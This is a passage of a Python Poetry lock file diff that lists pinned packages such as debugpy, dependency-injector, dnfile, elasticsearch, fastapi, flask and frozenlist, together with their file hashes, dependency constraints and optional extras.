"debugpy-1.6.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae1123dff5bfe548ba1683eb972329ba6d646c3a80e6b4c06cd1b1dd0205e9b"}, + {file = "debugpy-1.6.7-cp38-cp38-win32.whl", hash = "sha256:9cd10cf338e0907fdcf9eac9087faa30f150ef5445af5a545d307055141dd7a4"}, + {file = "debugpy-1.6.7-cp38-cp38-win_amd64.whl", hash = "sha256:aaf6da50377ff4056c8ed470da24632b42e4087bc826845daad7af211e00faad"}, + {file = "debugpy-1.6.7-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:0679b7e1e3523bd7d7869447ec67b59728675aadfc038550a63a362b63029d2c"}, + {file = "debugpy-1.6.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de86029696e1b3b4d0d49076b9eba606c226e33ae312a57a46dca14ff370894d"}, + {file = "debugpy-1.6.7-cp39-cp39-win32.whl", hash = "sha256:d71b31117779d9a90b745720c0eab54ae1da76d5b38c8026c654f4a066b0130a"}, + {file = "debugpy-1.6.7-cp39-cp39-win_amd64.whl", hash = "sha256:c0ff93ae90a03b06d85b2c529eca51ab15457868a377c4cc40a23ab0e4e552a3"}, + {file = "debugpy-1.6.7-py2.py3-none-any.whl", hash = "sha256:53f7a456bc50706a0eaabecf2d3ce44c4d5010e46dfc65b6b81a518b42866267"}, + {file = "debugpy-1.6.7.zip", hash = "sha256:c4c2f0810fa25323abfdfa36cbbbb24e5c3b1a42cb762782de64439c575d67f2"}, +] + +[[package]] +name = "dependency-injector" +version = "4.41.0" +description = "Dependency injection framework for Python" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "dependency-injector-4.41.0.tar.gz", hash = "sha256:939dfc657104bc3e66b67afd3fb2ebb0850c9a1e73d0d26066f2bbdd8735ff9c"}, + {file = "dependency_injector-4.41.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a2381a251b04244125148298212550750e6e1403e9b2850cc62e0e829d050ad3"}, + {file = "dependency_injector-4.41.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:75280dfa23f7c88e1bf56c3920d58a43516816de6f6ab2a6650bb8a0f27d5c2c"}, + {file = "dependency_injector-4.41.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63bfba21f8bff654a80e9b9d06dd6c43a442990b73bf89cd471314c11c541ec2"}, + {file = "dependency_injector-4.41.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3535d06416251715b45f8412482b58ec1c6196a4a3baa207f947f0b03a7c4b44"}, + {file = "dependency_injector-4.41.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d09c08c944a25dabfb454238c1a889acd85102b93ae497de523bf9ab7947b28a"}, + {file = "dependency_injector-4.41.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:586a0821720b15932addbefb00f7370fbcd5831d6ebbd6494d774b44ff96d23a"}, + {file = "dependency_injector-4.41.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7fa4970f12a3fc95d8796938b11c41276ad1ff4c447b0e589212eab3fc527a90"}, + {file = "dependency_injector-4.41.0-cp310-cp310-win32.whl", hash = "sha256:d557e40673de984f78dab13ebd68d27fbb2f16d7c4e3b663ea2fa2f9fae6765b"}, + {file = "dependency_injector-4.41.0-cp310-cp310-win_amd64.whl", hash = "sha256:3744c327d18408e74781bd6d8b7738745ee80ef89f2c8daecf9ebd098cb84972"}, + {file = "dependency_injector-4.41.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:89c67edffe7007cf33cee79ecbca38f48efcc2add5c280717af434db6c789377"}, + {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:786f7aac592e191c9caafc47732161d807bad65c62f260cd84cd73c7e2d67d6d"}, + {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8b61a15bc46a3aa7b29bd8a7384b650aa3a7ef943491e93c49a0540a0b3dda4"}, + {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4f113e5d4c3070973ad76e5bda7317e500abae6083d78689f0b6e37cf403abf"}, + {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:5fa3ed8f0700e47a0e7363f949b4525ffa8277aa1c5b10ca5b41fce4dea61bb9"}, + {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:05e15ea0f2b14c1127e8b0d1597fef13f98845679f63bf670ba12dbfc12a16ef"}, + {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3055b3fc47a0d6e5f27defb4166c0d37543a4967c279549b154afaf506ce6efc"}, + {file = "dependency_injector-4.41.0-cp311-cp311-win32.whl", hash = "sha256:37d5954026e3831663518d78bdf4be9c2dbfea691edcb73c813aa3093aa4363a"}, + {file = "dependency_injector-4.41.0-cp311-cp311-win_amd64.whl", hash = "sha256:f89a507e389b7e4d4892dd9a6f5f4da25849e24f73275478634ac594d621ab3f"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:ac79f3c05747f9724bd56c06985e78331fc6c85eb50f3e3f1a35e0c60f9977e9"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:75e7a733b372db3144a34020c4233f6b94db2c6342d6d16bc5245b1b941ee2bd"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40936d9384363331910abd59dd244158ec3572abf9d37322f15095315ac99893"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a31d9d60be4b585585081109480cfb2ef564d3b851cb32a139bf8408411a93a"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:953bfac819d32dc72b963767589e0ed372e5e9e78b03fb6b89419d0500d34bbe"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:8f0090ff14038f17a026ca408a3a0b0e7affb6aa7498b2b59d670f40ac970fbe"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:6b29abac56ce347d2eb58a560723e1663ee2125cf5cc38866ed92b84319927ec"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-win32.whl", hash = "sha256:059fbb48333148143e8667a5323d162628dfe27c386bd0ed3deeecfc390338bf"}, + {file = "dependency_injector-4.41.0-cp36-cp36m-win_amd64.whl", hash = "sha256:16de2797dcfcc2263b8672bf0751166f7c7b369ca2ff9246ceb67b65f8e1d802"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c71d30b6708438050675f338edb9a25bea6c258478dbe5ec8405286756a2d347"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d283aee588a72072439e6721cb64aa6cba5bc18c576ef0ab28285a6ec7a9d655"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc852da612c7e347f2fcf921df2eca2718697a49f648a28a63db3ab504fd9510"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:02620454ee8101f77a317f3229935ce687480883d72a40858ff4b0c87c935cce"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7a92680bea1c260e5c0d2d6cd60b0c913cba76a456a147db5ac047ecfcfcc758"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:168334cba3f1cbf55299ef38f0f2e31879115cc767b780c859f7814a52d80abb"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:48b6886a87b4ceb9b9f78550f77b2a5c7d2ce33bc83efd886556ad468cc9c85a"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-win32.whl", hash = "sha256:87be84084a1b922c4ba15e2e5aa900ee24b78a5467997cb7aec0a1d6cdb4a00b"}, + {file = "dependency_injector-4.41.0-cp37-cp37m-win_amd64.whl", hash = "sha256:8b8cf1c6c56f5c18bdbd9f5e93b52ca29cb4d99606d4056e91f0c761eef496dc"}, + {file = "dependency_injector-4.41.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a8686fa330c83251c75c8238697686f7a0e0f6d40658538089165dc72df9bcff"}, + {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8d670a844268dcd758195e58e9a5b39fc74bb8648aba99a13135a4a10ec9cfac"}, + {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e3b9d41e0eff4c8e16fea1e33de66ff0030fe51137ca530f3c52ce110447914"}, + {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:33a724e0a737baadb4378f5dc1b079867cc3a88552fcca719b3dba84716828b2"}, + {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3588bd887b051d16b8bcabaae1127eb14059a0719a8fe34c8a75ba59321b352c"}, + {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:409441122f40e1b4b8582845fdd76deb9dc5c9d6eb74a057b85736ef9e9c671f"}, + {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:7dcba8665cafec825b7095d5dd80afb5cf14404450eca3fe8b66e1edbf4dbc10"}, + {file = "dependency_injector-4.41.0-cp38-cp38-win32.whl", hash = "sha256:8b51efeaebacaf79ef68edfc65e9687699ccffb3538c4a3ab30d0d77e2db7189"}, + {file = "dependency_injector-4.41.0-cp38-cp38-win_amd64.whl", hash = "sha256:1662e2ef60ac6e681b9e11b5d8b7c17a0f733688916cf695f9540f8f50a61b1e"}, + {file = "dependency_injector-4.41.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:51217cb384b468d7cc355544cec20774859f00812f9a1a71ed7fa701c957b2a7"}, + {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b3890a12423ae3a9eade035093beba487f8d092ee6c6cb8706f4e7080a56e819"}, + {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99ed73b1521bf249e2823a08a730c9f9413a58f4b4290da022e0ad4fb333ba3d"}, + {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:300838e9d4f3fbf539892a5a4072851728e23b37a1f467afcf393edd994d88f0"}, + {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:56d37b9d2f50a18f059d9abdbea7669a7518bd42b81603c21a27910a2b3f1657"}, + {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:4a44ca3ce5867513a70b31855b218be3d251f5068ce1c480cc3a4ad24ffd3280"}, + {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:67b369592c57549ccdcad0d5fef1ddb9d39af7fed8083d76e789ab0111fc6389"}, + {file = "dependency_injector-4.41.0-cp39-cp39-win32.whl", hash = "sha256:740a8e8106a04d3f44b52b25b80570fdac96a8a3934423de7c9202c5623e7936"}, + {file = "dependency_injector-4.41.0-cp39-cp39-win_amd64.whl", hash = "sha256:22b11dbf696e184f0b3d5ac4e5418aeac3c379ba4ea758c04a83869b7e5d1cbf"}, + {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b365a8548e9a49049fa6acb24d3cd939f619eeb8e300ca3e156e44402dcc07ec"}, + {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5168dc59808317dc4cdd235aa5d7d556d33e5600156acaf224cead236b48a3e8"}, + {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e3229d83e99e255451605d5276604386e06ad948e3d60f31ddd796781c77f76f"}, + {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1baee908f21190bdc46a65ce4c417a5175e9397ca62354928694fce218f84487"}, + {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:b37f36ecb0c1227f697e1d4a029644e3eda8dd0f0716aa63ad04d96dbb15bbbb"}, + {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b0c9c966ff66c77364a2d43d08de9968aff7e3903938fe912ba49796b2133344"}, + {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:12e91ac0333e7e589421943ff6c6bf9cf0d9ac9703301cec37ccff3723406332"}, + {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b2440b32474d4e747209528ca3ae48f42563b2fbe3d74dbfe949c11dfbfef7c4"}, + {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54032d62610cf2f4421c9d92cef52957215aaa0bca403cda580c58eb3f726eda"}, + {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:76b94c8310929e54136f3cb3de3adc86d1a657b3984299f40bf1cd2ba0bae548"}, + {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6ee9810841c6e0599356cb884d16453bfca6ab739d0e4f0248724ed8f9ee0d79"}, + {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b98945edae88e777091bf0848f869fb94bd76dfa4066d7c870a5caa933391d0"}, + {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a2dee5d4abdd21f1a30a51d46645c095be9dcc404c7c6e9f81d0a01415a49e64"}, + {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d03f5fa0fa98a18bd0dfce846db80e2798607f0b861f1f99c97f441f7669d7a2"}, + {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:f2842e15bae664a9f69932e922b02afa055c91efec959cb1896f6c499bf68180"}, +] + +[package.dependencies] +six = ">=1.7.0,<=1.16.0" + +[package.extras] +aiohttp = ["aiohttp"] +flask = ["flask"] +pydantic = ["pydantic"] +yaml = ["pyyaml"] + +[[package]] +name = "dnfile" +version = "0.12.0" +description = "Parse .NET executable files." +category = "main" +optional = false +python-versions = ">=3.5" +files = [ + {file = "dnfile-0.12.0-py2.py3-none-any.whl", hash = "sha256:99a63504da5358814057c8669b14484907a75477922a03b7c49a5ec621aa281e"}, + {file = "dnfile-0.12.0.tar.gz", hash = "sha256:2beee20810bd4c8437d14a587e2aff1cb0de2a15e5f7fd468c9bc8b24f60a13a"}, +] + +[package.dependencies] +pefile = ">=2019.4.18" + +[package.extras] +test = ["isort (==5.10.1)", "mypy (==0.971)", "pycodestyle (==2.9.1)", "pytest (>=3)"] + +[[package]] +name = "dnspython" +version = "2.3.0" +description = "DNS toolkit" +category = "main" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "dnspython-2.3.0-py3-none-any.whl", hash = "sha256:89141536394f909066cabd112e3e1a37e4e654db00a25308b0f130bc3152eb46"}, + {file = "dnspython-2.3.0.tar.gz", hash = "sha256:224e32b03eb46be70e12ef6d64e0be123a64e621ab4c0822ff6d450d52a540b9"}, +] + +[package.extras] +curio = ["curio (>=1.2,<2.0)", "sniffio (>=1.1,<2.0)"] +dnssec = ["cryptography (>=2.6,<40.0)"] +doh = ["h2 (>=4.1.0)", "httpx (>=0.21.1)", "requests (>=2.23.0,<3.0.0)", "requests-toolbelt (>=0.9.1,<0.11.0)"] +doq = ["aioquic (>=0.9.20)"] +idna = ["idna (>=2.1,<4.0)"] +trio = ["trio (>=0.14,<0.23)"] +wmi = ["wmi (>=1.5.1,<2.0.0)"] + +[[package]] +name = "docopt" +version = "0.6.2" +description = "Pythonic argument parser, that will make you smile" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "docopt-0.6.2.tar.gz", hash = "sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491"}, +] + +[[package]] +name = "elastic-transport" +version = "8.4.0" +description = "Transport classes and utilities shared among Python Elastic client libraries" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "elastic-transport-8.4.0.tar.gz", hash = "sha256:b9ad708ceb7fcdbc6b30a96f886609a109f042c0b9d9f2e44403b3133ba7ff10"}, + {file = "elastic_transport-8.4.0-py3-none-any.whl", hash = "sha256:19db271ab79c9f70f8c43f8f5b5111408781a6176b54ab2e54d713b6d9ceb815"}, +] + +[package.dependencies] +certifi = "*" +urllib3 = ">=1.26.2,<2" + +[package.extras] +develop = ["aiohttp", "mock", "pytest", "pytest-asyncio", "pytest-cov", "pytest-httpserver", "pytest-mock", "requests", "trustme"] + +[[package]] +name = "elasticsearch" +version = "8.7.0" +description = "Python client for Elasticsearch" +category = "main" +optional = false +python-versions = ">=3.6, <4" +files = [ + {file = "elasticsearch-8.7.0-py3-none-any.whl", hash = "sha256:a06482f4c338ab6ace5cf89ee351cf3ee1854083f29a3b875433e608424fb48c"}, + {file = "elasticsearch-8.7.0.tar.gz", hash = "sha256:1849356db4192fbb75b2b8f3d55edb0fb07f8d855f386b318a7889222b49591f"}, +] + +[package.dependencies] +elastic-transport = ">=8,<9" + +[package.extras] +async = ["aiohttp (>=3,<4)"] +requests = ["requests (>=2.4.0,<3.0.0)"] + +[[package]] +name = "fastapi" +version = "0.82.0" +description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" +category = "main" +optional = false +python-versions = ">=3.6.1" +files = [ + {file = "fastapi-0.82.0-py3-none-any.whl", hash = "sha256:a4269329a7374c78f6e92c195d14cc4ce3a525e25b79e62edf2df8196469743f"}, + {file = "fastapi-0.82.0.tar.gz", hash = "sha256:5ee7b7473a55940a18d4869ff57d29c372363bf8d3033a0e660a8cf38b1d3d9e"}, +] + +[package.dependencies] +pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" +starlette = "0.19.1" + +[package.extras] +all = ["email_validator (>=1.1.1,<2.0.0)", "itsdangerous (>=1.1.0,<3.0.0)", "jinja2 (>=2.11.2,<4.0.0)", "orjson (>=3.2.1,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "pyyaml (>=5.3.1,<7.0.0)", "requests (>=2.24.0,<3.0.0)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"] +dev = ["autoflake (>=1.4.0,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "passlib[bcrypt] (>=1.7.2,<2.0.0)", "pre-commit (>=2.17.0,<3.0.0)", "python-jose[cryptography] (>=3.3.0,<4.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"] +doc = ["mdx-include (>=1.4.1,<2.0.0)", "mkdocs (>=1.1.2,<2.0.0)", "mkdocs-markdownextradata-plugin (>=0.1.7,<0.3.0)", "mkdocs-material (>=8.1.4,<9.0.0)", "pyyaml (>=5.3.1,<7.0.0)", "typer (>=0.4.1,<0.5.0)"] +test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==22.3.0)", "databases[sqlite] (>=0.3.2,<0.6.0)", "email_validator (>=1.1.1,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "flask (>=1.1.2,<3.0.0)", "httpx (>=0.14.0,<0.19.0)", "isort (>=5.0.6,<6.0.0)", "mypy (==0.910)", "orjson (>=3.2.1,<4.0.0)", "peewee (>=3.13.3,<4.0.0)", "pytest (>=6.2.4,<7.0.0)", "pytest-cov (>=2.12.0,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "requests (>=2.24.0,<3.0.0)", "sqlalchemy (>=1.3.18,<1.5.0)", "types-dataclasses (==0.6.5)", "types-orjson (==3.6.2)", "types-ujson (==4.2.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)"] + +[[package]] +name = "fastapi-class" +version = "2.0.0" +description = "Classes and Decorators to use FastAPI with Class based routing" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "fastapi_class-2.0.0-py3-none-any.whl", hash = "sha256:79c3349bc134a3c8ef54b8eec41265cb78ed3dc300e49550c3c02c8886737090"}, + {file = "fastapi_class-2.0.0.tar.gz", hash = "sha256:39af59d0529eaa2694793806c3c29ea9ec79134540b17b8df5f50a6602b4991d"}, +] + +[package.dependencies] +fastapi = ">=0.65.2,<0.90.0" +pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" + +[package.extras] +lint = ["mypy (==0.991)", "pre-commit (==2.21.0)"] +test = ["codecov (==2.1.12)", "httpx", "pytest (==7.2.0)", "pytest-asyncio (==0.20.3)", "pytest-cov (==4.0.0)", "requests (==2.28.1)"] + +[[package]] +name = "flake8" +version = "5.0.4" +description = "the modular source code checker: pep8 pyflakes and co" +category = "dev" +optional = false +python-versions = ">=3.6.1" +files = [ + {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"}, + {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"}, +] + +[package.dependencies] +mccabe = ">=0.7.0,<0.8.0" +pycodestyle = ">=2.9.0,<2.10.0" +pyflakes = ">=2.5.0,<2.6.0" + +[[package]] +name = "flake8-cognitive-complexity" +version = "0.1.0" +description = "An extension for flake8 that validates cognitive functions complexity" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "flake8_cognitive_complexity-0.1.0.tar.gz", hash = "sha256:f202df054e4f6ff182b659c261922b9c684628a47beb19cb0973c50d6a7831c1"}, +] + +[package.dependencies] +cognitive_complexity = "*" +setuptools = "*" + +[[package]] +name = "flask" +version = "2.3.1" +description = "A simple framework for building complex web applications." +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "Flask-2.3.1-py3-none-any.whl", hash = "sha256:8ba2a854608fdd603b67dccd4514a46450132227fb9df40127a8d0c1de8769ec"}, + {file = "Flask-2.3.1.tar.gz", hash = "sha256:a6059db4297106e5a64b3215fa16ae641822c1cb97ecb498573549b2478602cb"}, +] + +[package.dependencies] +blinker = ">=1.6.2" +click = ">=8.1.3" +itsdangerous = ">=2.1.2" +Jinja2 = ">=3.1.2" +Werkzeug = ">=2.3.0" + +[package.extras] +async = ["asgiref (>=3.2)"] +dotenv = ["python-dotenv"] + +[[package]] +name = "frozenlist" +version = "1.3.3" +description = "A list-like structure which implements collections.abc.MutableSequence" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ff8bf625fe85e119553b5383ba0fb6aa3d0ec2ae980295aaefa552374926b3f4"}, + {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dfbac4c2dfcc082fcf8d942d1e49b6aa0766c19d3358bd86e2000bf0fa4a9cf0"}, + {file = "frozenlist-1.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b1c63e8d377d039ac769cd0926558bb7068a1f7abb0f003e3717ee003ad85530"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fdfc24dcfce5b48109867c13b4cb15e4660e7bd7661741a391f821f23dfdca7"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c926450857408e42f0bbc295e84395722ce74bae69a3b2aa2a65fe22cb14b99"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1841e200fdafc3d51f974d9d377c079a0694a8f06de2e67b48150328d66d5483"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f470c92737afa7d4c3aacc001e335062d582053d4dbe73cda126f2d7031068dd"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:783263a4eaad7c49983fe4b2e7b53fa9770c136c270d2d4bbb6d2192bf4d9caf"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:924620eef691990dfb56dc4709f280f40baee568c794b5c1885800c3ecc69816"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ae4dc05c465a08a866b7a1baf360747078b362e6a6dbeb0c57f234db0ef88ae0"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:bed331fe18f58d844d39ceb398b77d6ac0b010d571cba8267c2e7165806b00ce"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:02c9ac843e3390826a265e331105efeab489ffaf4dd86384595ee8ce6d35ae7f"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9545a33965d0d377b0bc823dcabf26980e77f1b6a7caa368a365a9497fb09420"}, + {file = "frozenlist-1.3.3-cp310-cp310-win32.whl", hash = "sha256:d5cd3ab21acbdb414bb6c31958d7b06b85eeb40f66463c264a9b343a4e238642"}, + {file = "frozenlist-1.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:b756072364347cb6aa5b60f9bc18e94b2f79632de3b0190253ad770c5df17db1"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b4395e2f8d83fbe0c627b2b696acce67868793d7d9750e90e39592b3626691b7"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:14143ae966a6229350021384870458e4777d1eae4c28d1a7aa47f24d030e6678"}, + {file = "frozenlist-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5d8860749e813a6f65bad8285a0520607c9500caa23fea6ee407e63debcdbef6"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23d16d9f477bb55b6154654e0e74557040575d9d19fe78a161bd33d7d76808e8"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb82dbba47a8318e75f679690190c10a5e1f447fbf9df41cbc4c3afd726d88cb"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9309869032abb23d196cb4e4db574232abe8b8be1339026f489eeb34a4acfd91"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a97b4fe50b5890d36300820abd305694cb865ddb7885049587a5678215782a6b"}, + {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c188512b43542b1e91cadc3c6c915a82a5eb95929134faf7fd109f14f9892ce4"}, + {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:303e04d422e9b911a09ad499b0368dc551e8c3cd15293c99160c7f1f07b59a48"}, + {file = 